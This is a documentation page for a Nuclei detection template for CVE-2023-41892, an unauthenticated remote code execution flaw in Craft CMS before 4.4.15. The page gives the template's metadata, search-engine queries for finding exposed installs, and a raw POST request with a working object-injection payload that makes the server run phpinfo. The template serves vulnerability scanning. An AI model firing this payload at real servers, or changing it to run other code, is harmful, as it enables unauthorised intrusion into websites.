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CraftCMS < 4.4.15 - Unauthenticated Remote Code Execution

ID: CVE-2023-41892

Severity: critical

Author: iamnoooob,rootxharsh,pdresearch

Tags: cve2023,cve,rce,unauth,craftcms

Description

Section titled “Description”

Craft CMS is a platform for creating digital experiences. This is a high-impact, low-complexity attack vector leading to Remote Code Execution (RCE). Users running Craft installations before 4.4.15 are encouraged to update to at least that version to mitigate the issue. This issue has been fixed in Craft CMS 4.4.15.

YAML Source

Section titled “YAML Source”
id: CVE-2023-41892


info:
  name: CraftCMS < 4.4.15 - Unauthenticated Remote Code Execution
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: Craft CMS is a platform for creating digital experiences. This is a high-impact, low-complexity attack vector leading to Remote Code Execution (RCE). Users running Craft installations before 4.4.15 are encouraged to update to at least that version to mitigate the issue. This issue has been fixed in Craft CMS 4.4.15.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system.
  reference:
    - https://github.com/craftcms/cms/security/advisories/GHSA-4w8r-3xrw-v25g
    - https://blog.calif.io/p/craftcms-rce
    - https://github.com/craftcms/cms/blob/develop/CHANGELOG.md#4415---2023-07-03-critical
    - https://github.com/craftcms/cms/commit/7359d18d46389ffac86c2af1e0cd59e37c298857
    - https://github.com/craftcms/cms/commit/a270b928f3d34ad3bd953b81c304424edd57355e
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-41892
    cwe-id: CWE-94
    epss-score: 0.8421
    epss-percentile: 0.98494
    cpe: cpe:2.3:a:craftcms:craft_cms:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: craftcms
    product: craft_cms
    shodan-query:
      - http.favicon.hash:-47932290
      - cpe:"cpe:2.3:a:craftcms:craft_cms"
      - http.html:craftcms
    fofa-query:
      - icon_hash=-47932290
      - body=craftcms
    publicwww-query: "craftcms"
  tags: cve2023,cve,rce,unauth,craftcms


http:
  - raw:
      - |
        POST /index.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        action=conditions/render&test[userCondition]=craft\elements\conditions\users\UserCondition&config={"name":"test[userCondition]","as xyz":{"class":"\\GuzzleHttp\\Psr7\\FnStream",    "__construct()": [{"close":null}],"_fn_close":"phpinfo"}}


    matchers:
      - type: word
        words:
          - "PHP Credits"
          - "PHP Group"
          - "CraftCMS"
        condition: and
        case-insensitive: true
# digest: 4a0a00473045022100990084590d007bee1a5308dd9545d094faf5f892244e96b86fc48de152090b660220400fb4cf424239d24ce5c187c136490269abb8185887c7369cacd5f7b36f23db:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-41892.yaml"

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